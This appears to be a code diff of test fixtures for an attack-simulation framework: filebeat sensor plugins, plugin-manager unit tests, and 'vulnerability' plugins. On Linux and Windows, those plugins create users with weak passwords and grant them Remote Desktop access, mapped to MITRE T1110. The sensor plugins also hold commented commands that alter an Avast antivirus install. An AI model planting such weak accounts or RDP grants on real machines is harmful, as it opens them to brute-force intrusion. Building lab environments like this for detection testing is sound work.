||||
|
||||
def prime(self):
|
||||
""" Hard-core install. Requires a reboot """
|
||||
|
||||
# For reference: This is the core config we will need. In addition there are two reg files to apply to the registry
|
||||
# sc control aswbidsagent 255
|
||||
# timeout /t 5
|
||||
# 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"'
|
||||
# reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f
|
||||
# timeout /t 2
|
||||
# sc start aswbidsagent
|
||||
|
||||
# Important: AV must be 21.2
|
||||
# dll_name = self.conf["dll_name"]
|
||||
|
||||
# idp_tool_folder = self.conf["idp_tool_folder"]
|
||||
|
||||
pg = self.get_playground()
|
||||
|
||||
self.vprint("Installing Linux filebeat sensor", 3)
|
||||
|
||||
self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -")
|
||||
self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list')
|
||||
self.run_cmd("sudo apt update")
|
||||
self.run_cmd("sudo apt -y install default-jre")
|
||||
self.run_cmd("sudo apt -y install logstash")
|
||||
self.run_cmd("sudo apt -y install filebeat")
|
||||
|
||||
# Copy config
|
||||
self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml")
|
||||
self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d")
|
||||
|
||||
# Cleanup
|
||||
self.run_cmd(f"rm {pg}/filebeat.json")
|
||||
self.run_cmd(f"touch {pg}/filebeat.json")
|
||||
self.run_cmd(f"chmod o+w {pg}/filebeat.json")
|
||||
|
||||
return False
|
||||
|
||||
def install(self):
|
||||
""" Installs the filebeat sensor """
|
||||
|
||||
return
|
||||
|
||||
def start(self):
|
||||
|
||||
self.run_cmd("sudo filebeat modules enable system,iptables")
|
||||
self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,")
|
||||
self.run_cmd("sudo systemctl enable filebeat")
|
||||
self.run_cmd("sudo systemctl start filebeat")
|
||||
self.run_cmd("sudo systemctl enable logstash.service")
|
||||
self.run_cmd("sudo systemctl start logstash.service")
|
||||
|
||||
return None
|
||||
|
||||
def stop(self):
|
||||
""" Stop the sensor """
|
||||
return
|
@ -0,0 +1,102 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to experiment with Linux logstash filebeat sensors
|
||||
|
||||
from plugins.base.sensor import SensorPlugin
|
||||
import os
|
||||
from jinja2 import Environment, FileSystemLoader, select_autoescape
|
||||
|
||||
|
||||
class SensorOkPlugin(SensorPlugin):
|
||||
# Boilerplate
|
||||
name = "sensor_ok"
|
||||
description = "Linux filebeat plugin"
|
||||
|
||||
required_files = ["filebeat.conf",
|
||||
"filebeat.yml",
|
||||
]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
self.debugit = False
|
||||
|
||||
def process_templates(self):
|
||||
""" process jinja2 templates of the config files and insert own config """
|
||||
|
||||
env = Environment(
|
||||
loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False),
|
||||
autoescape=select_autoescape()
|
||||
)
|
||||
template = env.get_template("filebeat_template.conf")
|
||||
dest = os.path.join(self.get_plugin_path(), "filebeat.conf")
|
||||
with open(dest, "wt") as fh:
|
||||
res = template.render({"playground": self.get_playground()})
|
||||
fh.write(res)
|
||||
|
||||
def prime(self):
|
||||
""" Hard-core install. Requires a reboot """
|
||||
|
||||
# For reference: This is the core config we will need. In addition there are two reg files to apply to the registry
|
||||
# sc control aswbidsagent 255
|
||||
# timeout /t 5
|
||||
# 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"'
|
||||
# reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f
|
||||
# timeout /t 2
|
||||
# sc start aswbidsagent
|
||||
|
||||
# Important: AV must be 21.2
|
||||
# dll_name = self.conf["dll_name"]
|
||||
|
||||
# idp_tool_folder = self.conf["idp_tool_folder"]
|
||||
|
||||
pg = self.get_playground()
|
||||
|
||||
self.vprint("Installing Linux filebeat sensor", 3)
|
||||
|
||||
self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -")
|
||||
self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list')
|
||||
self.run_cmd("sudo apt update")
|
||||
self.run_cmd("sudo apt -y install default-jre")
|
||||
self.run_cmd("sudo apt -y install logstash")
|
||||
self.run_cmd("sudo apt -y install filebeat")
|
||||
|
||||
# Copy config
|
||||
self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml")
|
||||
self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d")
|
||||
|
||||
# Cleanup
|
||||
self.run_cmd(f"rm {pg}/filebeat.json")
|
||||
self.run_cmd(f"touch {pg}/filebeat.json")
|
||||
self.run_cmd(f"chmod o+w {pg}/filebeat.json")
|
||||
|
||||
return False
|
||||
|
||||
def install(self):
|
||||
""" Installs the filebeat sensor """
|
||||
|
||||
return
|
||||
|
||||
def start(self):
|
||||
|
||||
self.run_cmd("sudo filebeat modules enable system,iptables")
|
||||
self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,")
|
||||
self.run_cmd("sudo systemctl enable filebeat")
|
||||
self.run_cmd("sudo systemctl start filebeat")
|
||||
self.run_cmd("sudo systemctl enable logstash.service")
|
||||
self.run_cmd("sudo systemctl start logstash.service")
|
||||
|
||||
return None
|
||||
|
||||
def stop(self):
|
||||
""" Stop the sensor """
|
||||
return
|
||||
|
||||
def collect(self, path):
|
||||
""" Collect sensor data """
|
||||
|
||||
pg = self.get_playground()
|
||||
dst = os.path.join(path, "filebeat.json")
|
||||
self.get_from_machine(f"{pg}/filebeat.json", dst) # nosec
|
||||
return [dst]
|
@ -0,0 +1,102 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to experiment with Linux logstash filebeat sensors
|
||||
|
||||
from plugins.base.sensor import SensorPlugin
|
||||
import os
|
||||
from jinja2 import Environment, FileSystemLoader, select_autoescape
|
||||
|
||||
|
||||
class SensorIgnoreMePlugin(SensorPlugin):
|
||||
# Boilerplate
|
||||
name = "ignore_me"
|
||||
description = "Linux filebeat plugin"
|
||||
|
||||
required_files = ["filebeat.conf",
|
||||
"filebeat.yml",
|
||||
]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
self.debugit = False
|
||||
|
||||
def process_templates(self):
|
||||
""" process jinja2 templates of the config files and insert own config """
|
||||
|
||||
env = Environment(
|
||||
loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False),
|
||||
autoescape=select_autoescape()
|
||||
)
|
||||
template = env.get_template("filebeat_template.conf")
|
||||
dest = os.path.join(self.get_plugin_path(), "filebeat.conf")
|
||||
with open(dest, "wt") as fh:
|
||||
res = template.render({"playground": self.get_playground()})
|
||||
fh.write(res)
|
||||
|
||||
def prime(self):
|
||||
""" Hard-core install. Requires a reboot """
|
||||
|
||||
# For reference: This is the core config we will need. In addition there are two reg files to apply to the registry
|
||||
# sc control aswbidsagent 255
|
||||
# timeout /t 5
|
||||
# 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"'
|
||||
# reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f
|
||||
# timeout /t 2
|
||||
# sc start aswbidsagent
|
||||
|
||||
# Important: AV must be 21.2
|
||||
# dll_name = self.conf["dll_name"]
|
||||
|
||||
# idp_tool_folder = self.conf["idp_tool_folder"]
|
||||
|
||||
pg = self.get_playground()
|
||||
|
||||
self.vprint("Installing Linux filebeat sensor", 3)
|
||||
|
||||
self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -")
|
||||
self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list')
|
||||
self.run_cmd("sudo apt update")
|
||||
self.run_cmd("sudo apt -y install default-jre")
|
||||
self.run_cmd("sudo apt -y install logstash")
|
||||
self.run_cmd("sudo apt -y install filebeat")
|
||||
|
||||
# Copy config
|
||||
self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml")
|
||||
self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d")
|
||||
|
||||
# Cleanup
|
||||
self.run_cmd(f"rm {pg}/filebeat.json")
|
||||
self.run_cmd(f"touch {pg}/filebeat.json")
|
||||
self.run_cmd(f"chmod o+w {pg}/filebeat.json")
|
||||
|
||||
return False
|
||||
|
||||
def install(self):
|
||||
""" Installs the filebeat sensor """
|
||||
|
||||
return
|
||||
|
||||
def start(self):
|
||||
|
||||
self.run_cmd("sudo filebeat modules enable system,iptables")
|
||||
self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,")
|
||||
self.run_cmd("sudo systemctl enable filebeat")
|
||||
self.run_cmd("sudo systemctl start filebeat")
|
||||
self.run_cmd("sudo systemctl enable logstash.service")
|
||||
self.run_cmd("sudo systemctl start logstash.service")
|
||||
|
||||
return None
|
||||
|
||||
def stop(self):
|
||||
""" Stop the sensor """
|
||||
return
|
||||
|
||||
def collect(self, path):
|
||||
""" Collect sensor data """
|
||||
|
||||
pg = self.get_playground()
|
||||
dst = os.path.join(path, "filebeat.json")
|
||||
self.get_from_machine(f"{pg}/filebeat.json", dst) # nosec
|
||||
return [dst]
|
@ -0,0 +1,102 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to experiment with Linux logstash filebeat sensors
|
||||
|
||||
from plugins.base.sensor import SensorPlugin
|
||||
import os
|
||||
from jinja2 import Environment, FileSystemLoader, select_autoescape
|
||||
|
||||
|
||||
class SensorPickMePlugin(SensorPlugin):
|
||||
# Boilerplate
|
||||
name = "pick_me"
|
||||
description = "Linux filebeat plugin"
|
||||
|
||||
required_files = ["filebeat.conf",
|
||||
"filebeat.yml",
|
||||
]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
self.debugit = False
|
||||
|
||||
def process_templates(self):
|
||||
""" process jinja2 templates of the config files and insert own config """
|
||||
|
||||
env = Environment(
|
||||
loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False),
|
||||
autoescape=select_autoescape()
|
||||
)
|
||||
template = env.get_template("filebeat_template.conf")
|
||||
dest = os.path.join(self.get_plugin_path(), "filebeat.conf")
|
||||
with open(dest, "wt") as fh:
|
||||
res = template.render({"playground": self.get_playground()})
|
||||
fh.write(res)
|
||||
|
||||
def prime(self):
|
||||
""" Hard-core install. Requires a reboot """
|
||||
|
||||
# For reference: This is the core config we will need. In addition there are two reg files to apply to the registry
|
||||
# sc control aswbidsagent 255
|
||||
# timeout /t 5
|
||||
# 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"'
|
||||
# reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f
|
||||
# timeout /t 2
|
||||
# sc start aswbidsagent
|
||||
|
||||
# Important: AV must be 21.2
|
||||
# dll_name = self.conf["dll_name"]
|
||||
|
||||
# idp_tool_folder = self.conf["idp_tool_folder"]
|
||||
|
||||
pg = self.get_playground()
|
||||
|
||||
self.vprint("Installing Linux filebeat sensor", 3)
|
||||
|
||||
self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -")
|
||||
self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list')
|
||||
self.run_cmd("sudo apt update")
|
||||
self.run_cmd("sudo apt -y install default-jre")
|
||||
self.run_cmd("sudo apt -y install logstash")
|
||||
self.run_cmd("sudo apt -y install filebeat")
|
||||
|
||||
# Copy config
|
||||
self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml")
|
||||
self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d")
|
||||
|
||||
# Cleanup
|
||||
self.run_cmd(f"rm {pg}/filebeat.json")
|
||||
self.run_cmd(f"touch {pg}/filebeat.json")
|
||||
self.run_cmd(f"chmod o+w {pg}/filebeat.json")
|
||||
|
||||
return False
|
||||
|
||||
def install(self):
|
||||
""" Installs the filebeat sensor """
|
||||
|
||||
return
|
||||
|
||||
def start(self):
|
||||
|
||||
self.run_cmd("sudo filebeat modules enable system,iptables")
|
||||
self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,")
|
||||
self.run_cmd("sudo systemctl enable filebeat")
|
||||
self.run_cmd("sudo systemctl start filebeat")
|
||||
self.run_cmd("sudo systemctl enable logstash.service")
|
||||
self.run_cmd("sudo systemctl start logstash.service")
|
||||
|
||||
return None
|
||||
|
||||
def stop(self):
|
||||
""" Stop the sensor """
|
||||
return
|
||||
|
||||
def collect(self, path):
|
||||
""" Collect sensor data """
|
||||
|
||||
pg = self.get_playground()
|
||||
dst = os.path.join(path, "filebeat.json")
|
||||
self.get_from_machine(f"{pg}/filebeat.json", dst) # nosec
|
||||
return [dst]
|
@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Some users are created (with weak passwords) and sshd is set to allow password-based access
|
||||
|
||||
from plugins.base.vulnerability_plugin import VulnerabilityPlugin
|
||||
|
||||
|
||||
class VulnerabilityOk(VulnerabilityPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "missing_start"
|
||||
description = "Adding users with weak passwords"
|
||||
ttp = "T1110"
|
||||
references = ["https://attack.mitre.org/techniques/T1110/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def stop(self):
|
||||
|
||||
if self.machine_plugin.config.os() == "linux":
|
||||
for user in self.conf["linux"]:
|
||||
# Remove user
|
||||
cmd = f"sudo userdel -r {user['name']}"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
elif self.machine_plugin.config.os() == "windows":
|
||||
for user in self.conf["windows"]:
|
||||
# net user username /delete
|
||||
cmd = f"net user {user['name']} /delete"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
# Remove the new users to RDP (just in case we want to test RDP)
|
||||
for user in self.conf["windows"]:
|
||||
# net user username /delete
|
||||
cmd = f""""NET LOCALGROUP "Remote Desktop Users" {user['name']} /DELETE"""
|
||||
self.run_cmd(cmd)
|
||||
|
||||
else:
|
||||
raise NotImplementedError
|
@ -0,0 +1,46 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Some users are created (with weak passwords) and sshd is set to allow password-based access
|
||||
|
||||
from plugins.base.vulnerability_plugin import VulnerabilityPlugin
|
||||
|
||||
|
||||
class VulnerabilityOk(VulnerabilityPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "missing_stop"
|
||||
description = "Adding users with weak passwords"
|
||||
ttp = "T1110"
|
||||
references = ["https://attack.mitre.org/techniques/T1110/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def start(self):
|
||||
|
||||
if self.machine_plugin.config.os() == "linux":
|
||||
# Add vulnerable user
|
||||
# mkpasswd -m sha-512 # To calc the passwd
|
||||
# This is in the debian package "whois"
|
||||
|
||||
for user in self.conf["linux"]:
|
||||
cmd = f"sudo useradd -m -p '{user['password']}' -s /bin/bash {user['name']}"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
elif self.machine_plugin.config.os() == "windows":
|
||||
|
||||
for user in self.conf["windows"]:
|
||||
# net user username password /add
|
||||
cmd = f"net user {user['name']} {user['password']} /add"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
for user in self.conf["windows"]:
|
||||
# Adding the new users to RDP (just in case we want to test RDP)
|
||||
cmd = f"""NET LOCALGROUP "Remote Desktop Users" {user['name']} /ADD"""
|
||||
self.run_cmd(cmd)
|
||||
|
||||
else:
|
||||
raise NotImplementedError
|
@ -0,0 +1,69 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Some users are created (with weak passwords) and sshd is set to allow password-based access
|
||||
|
||||
from plugins.base.vulnerability_plugin import VulnerabilityPlugin
|
||||
|
||||
|
||||
class VulnerabilityOk(VulnerabilityPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "vulnerability_ok"
|
||||
description = "Adding users with weak passwords"
|
||||
ttp = "T1110"
|
||||
references = ["https://attack.mitre.org/techniques/T1110/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def start(self):
|
||||
|
||||
if self.machine_plugin.config.os() == "linux":
|
||||
# Add vulnerable user
|
||||
# mkpasswd -m sha-512 # To calc the passwd
|
||||
# This is in the debian package "whois"
|
||||
|
||||
for user in self.conf["linux"]:
|
||||
cmd = f"sudo useradd -m -p '{user['password']}' -s /bin/bash {user['name']}"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
elif self.machine_plugin.config.os() == "windows":
|
||||
|
||||
for user in self.conf["windows"]:
|
||||
# net user username password /add
|
||||
cmd = f"net user {user['name']} {user['password']} /add"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
for user in self.conf["windows"]:
|
||||
# Adding the new users to RDP (just in case we want to test RDP)
|
||||
cmd = f"""NET LOCALGROUP "Remote Desktop Users" {user['name']} /ADD"""
|
||||
self.run_cmd(cmd)
|
||||
|
||||
else:
|
||||
raise NotImplementedError
|
||||
|
||||
def stop(self):
|
||||
|
||||
if self.machine_plugin.config.os() == "linux":
|
||||
for user in self.conf["linux"]:
|
||||
# Remove user
|
||||
cmd = f"sudo userdel -r {user['name']}"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
elif self.machine_plugin.config.os() == "windows":
|
||||
for user in self.conf["windows"]:
|
||||
# net user username /delete
|
||||
cmd = f"net user {user['name']} /delete"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
# Remove the new users to RDP (just in case we want to test RDP)
|
||||
for user in self.conf["windows"]:
|
||||
# net user username /delete
|
||||
cmd = f""""NET LOCALGROUP "Remote Desktop Users" {user['name']} /DELETE"""
|
||||
self.run_cmd(cmd)
|
||||
|
||||
else:
|
||||
raise NotImplementedError
|
@ -0,0 +1,234 @@
|
||||
import unittest
|
||||
from app.pluginmanager import PluginManager
|
||||
from app.attack_log import AttackLog
|
||||
|
||||
from plugins.base.sensor import SensorPlugin
|
||||
from plugins.base.attack import AttackPlugin
|
||||
from plugins.base.vulnerability_plugin import VulnerabilityPlugin
|
||||
from plugins.base.machinery import MachineryPlugin
|
||||
|
||||
# https://docs.python.org/3/library/unittest.html
|
||||
|
||||
|
||||
class TestMachineControl(unittest.TestCase):
|
||||
|
||||
def setUp(self) -> None:
|
||||
self.attack_logger = AttackLog(0)
|
||||
|
||||
def test_basic_pluginmanager_init(self):
|
||||
""" just a simple init """
|
||||
p = PluginManager(self.attack_logger)
|
||||
self.assertIsNotNone(p)
|
||||
|
||||
def test_basic_pluginmanager_get_plugins_empty(self):
|
||||
""" just a simple getting plugins with empty directory """
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/none")
|
||||
self.assertEqual(p.get_plugins(AttackPlugin), [])
|
||||
|
||||
def test_basic_pluginmanager_get_caldera_plugin(self):
|
||||
""" just a simple getting the one caldera plugin """
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/caldera/caldera_ok.py")
|
||||
plugins = p.get_plugins(AttackPlugin)
|
||||
self.assertEqual(plugins[0].name, "caldera_autostart_1")
|
||||
self.assertEqual(len(plugins), 1)
|
||||
|
||||
def test_basic_pluginmanager_count_caldera_plugin(self):
|
||||
""" counting caldera requirements """
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/caldera/caldera_ok.py")
|
||||
plugins = p.count_caldera_requirements(AttackPlugin, None)
|
||||
self.assertEqual(plugins, 1)
|
||||
|
||||
def test_basic_pluginmanager_count_metasploit_plugin(self):
|
||||
""" counting caldera requirements """
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/caldera/caldera_ok.py")
|
||||
plugins = p.count_metasploit_requirements(AttackPlugin, None)
|
||||
self.assertEqual(plugins, 0)
|
||||
|
||||
def test_basic_pluginmanager_count_metasploit_plugin_2(self):
|
||||
""" counting metasploit requirements """
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/metasploit/metasploit_ok.py")
|
||||
plugins = p.count_metasploit_requirements(AttackPlugin, None)
|
||||
self.assertEqual(plugins, 1)
|
||||
|
||||
def test_basic_pluginmanager_check_ok(self):
|
||||
""" basic check for a plugin, ok """
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/metasploit/metasploit_ok.py")
|
||||
plugins = p.get_plugins(AttackPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertEqual(c, [])
|
||||
|
||||
def test_basic_pluginmanager_check_sensor_plugin_ok(self):
|
||||
""" just a simple getting the one sensor plugin """
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/sensor/sensor_ok/*.py")
|
||||
plugins = p.get_plugins(SensorPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertEqual(c, [])
|
||||
|
||||
def test_basic_pluginmanager_check_sensor_plugin_missing_collect(self):
|
||||
""" a sensor plugin with missing collect should throw an error on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/sensor/missing_collect/*.py")
|
||||
plugins = p.get_plugins(SensorPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertRegex(c[0], "Method 'collect' not implemented in missing_collect in .*")
|
||||
|
||||
def test_basic_pluginmanager_pick_sensor_plugin_by_name(self):
|
||||
""" get a plugin by name """
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/sensor/two_sensors/*/*.py")
|
||||
plugins = p.get_plugins(SensorPlugin, ["pick_me"])
|
||||
self.assertEqual(len(plugins), 1)
|
||||
self.assertEqual(plugins[0].get_name(), "pick_me")
|
||||
|
||||
def test_basic_pluginmanager_pick_sensor_plugin_by_name_2(self):
|
||||
""" get two plugins by name """
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/sensor/two_sensors/*/*.py")
|
||||
plugins = p.get_plugins(SensorPlugin, ["pick_me", "ignore_me"])
|
||||
self.assertEqual(len(plugins), 2)
|
||||
|
||||
def test_basic_pluginmanager_pick_sensor_plugin_by_name_3(self):
|
||||
""" not finding any plugin by name """
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/sensor/two_sensors/*/*.py")
|
||||
plugins = p.get_plugins(SensorPlugin, ["fail"])
|
||||
self.assertEqual(len(plugins), 0)
|
||||
|
||||
def test_basic_pluginmanager_check_attack_plugin_missing_run(self):
|
||||
""" a attack plugin with missing run should throw an error on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/attack/missing_run/*.py")
|
||||
plugins = p.get_plugins(AttackPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertRegex(c[0], "Method 'run' not implemented in missing_run in .*")
|
||||
|
||||
def test_basic_pluginmanager_check_vulnerability_plugin_ok(self):
|
||||
""" a vulnerability plugin ok on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/vulnerabilities/ok/*.py")
|
||||
plugins = p.get_plugins(VulnerabilityPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertEqual(len(c), 0)
|
||||
|
||||
def test_basic_pluginmanager_check_vulnerability_plugin_missing_start(self):
|
||||
""" a vulnerability plugin with missing start should throw an error on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/vulnerabilities/no_start/*.py")
|
||||
plugins = p.get_plugins(VulnerabilityPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertRegex(c[0], "Method 'start' not implemented in missing_start in .*")
|
||||
|
||||
def test_basic_pluginmanager_check_vulnerability_plugin_missing_stop(self):
|
||||
""" a vulnerability plugin with missing stop should throw an error on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/vulnerabilities/no_stop/*.py")
|
||||
plugins = p.get_plugins(VulnerabilityPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertRegex(c[0], "Method 'stop' not implemented in missing_stop in .*")
|
||||
|
||||
def test_basic_pluginmanager_check_machinery_plugin_ok(self):
|
||||
""" a machinery plugin ok on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/machinery/ok/*.py")
|
||||
plugins = p.get_plugins(MachineryPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertEqual(len(c), 0)
|
||||
|
||||
def test_basic_pluginmanager_check_machinery_plugin_missing_up(self):
|
||||
""" a machinery plugin with missing up should throw an error on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_up/*.py")
|
||||
plugins = p.get_plugins(MachineryPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertRegex(c[0], "Method 'up' not implemented in machinery_no_up in .*")
|
||||
|
||||
def test_basic_pluginmanager_check_machinery_plugin_missing_state(self):
|
||||
""" a machinery plugin with missing get_state should throw an error on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_state/*.py")
|
||||
plugins = p.get_plugins(MachineryPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertRegex(c[0], "Method 'get_state' not implemented in machinery_no_state in .*")
|
||||
|
||||
def test_basic_pluginmanager_check_machinery_plugin_missing_ip(self):
|
||||
""" a machinery plugin with missing get_ip should throw an error on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_ip/*.py")
|
||||
plugins = p.get_plugins(MachineryPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertEqual(len(c), 1)
|
||||
self.assertRegex(c[0], "Method 'get_ip' not implemented in machinery_no_ip in .*")
|
||||
|
||||
def test_basic_pluginmanager_check_machinery_plugin_missing_halt(self):
|
||||
""" a machinery plugin with missing halt should throw an error on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_halt/*.py")
|
||||
plugins = p.get_plugins(MachineryPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertEqual(len(c), 1)
|
||||
self.assertRegex(c[0], "Method 'halt' not implemented in machinery_no_halt in .*")
|
||||
|
||||
def test_basic_pluginmanager_check_machinery_plugin_missing_destroyt(self):
|
||||
""" a machinery plugin with missing destroy should throw an error on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_destroy/*.py")
|
||||
plugins = p.get_plugins(MachineryPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertEqual(len(c), 1)
|
||||
self.assertRegex(c[0], "Method 'destroy' not implemented in machinery_no_destroy in .*")
|
||||
|
||||
def test_basic_pluginmanager_check_machinery_plugin_missing_create(self):
|
||||
""" a machinery plugin with missing create should throw an error on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_create/*.py")
|
||||
plugins = p.get_plugins(MachineryPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertEqual(len(c), 1)
|
||||
self.assertRegex(c[0], "Method 'create' not implemented in machinery_no_create in .*")
|
||||
|
||||
def test_basic_pluginmanager_check_basics_plugin_missing_description(self):
|
||||
""" a plugin with missing description should throw an error on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/basics/no_description/*.py")
|
||||
plugins = p.get_plugins(AttackPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertEqual(len(c), 1)
|
||||
self.assertRegex(c[0], "No description in plugin: metasploit_no_description in .*")
|
||||
|
||||
def test_basic_pluginmanager_check_basics_plugin_missing_name(self):
|
||||
""" a plugin with missing name should throw an error on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/basics/no_name/*.py")
|
||||
plugins = p.get_plugins(AttackPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertEqual(len(c), 1)
|
||||
self.assertRegex(c[0], "No name for plugin: in .*")
|
||||
|
||||
def test_basic_pluginmanager_check_vul_plugin_missing_ttp(self):
|
||||
""" a vulnerability plugin with missing name should throw an error on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/basics/vul_no_ttp/*.py")
|
||||
plugins = p.get_plugins(VulnerabilityPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertEqual(len(c), 1)
|
||||
self.assertRegex(c[0], "Vulnerability plugins need a valid ttp number \\(either T1234, T1234.222 or ...\\) vulnerability_ok uses None in .*")
|
||||
|
||||
def test_basic_pluginmanager_check_ttp_is_none(self):
|
||||
""" ttp check with NONE"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/basics/vul_no_ttp/*.py")
|
||||
self.assertEqual(p.is_ttp_wrong(None), True)
|
||||
|
||||
def test_basic_pluginmanager_check_ttp_is_short_ttp(self):
|
||||
""" ttp check with T1234 """
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/basics/vul_no_ttp/*.py")
|
||||
self.assertEqual(p.is_ttp_wrong("T1234"), False)
|
||||
|
||||
